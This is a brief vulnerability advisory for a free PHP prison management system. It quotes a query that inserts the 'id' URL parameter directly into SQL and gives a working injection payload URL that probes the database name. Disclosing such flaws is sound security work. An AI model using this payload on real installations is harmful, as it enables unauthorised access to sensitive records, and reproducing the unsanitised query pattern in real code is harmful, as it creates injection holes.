Vendor Homepage : https://www.sourcecodester.com/
Software Link : https://www.sourcecodester.com/php/15368/prison-management-system-phpoop-free-source-code.html
[+] Vulnerability : SQL Injection
[+] Vulnerability Location : $_GET['id'] in /pms/admin/inmates/manage_privilege.php:4
$qry = $conn->query("SELECT * FROM `inmate_list` where id = '{$_GET['id']}'");- Payload :
# Error Based
http://localhost/pms/admin/inmates/manage_privilege.php?id=1'-if(database()='pms_db',0,1)%23

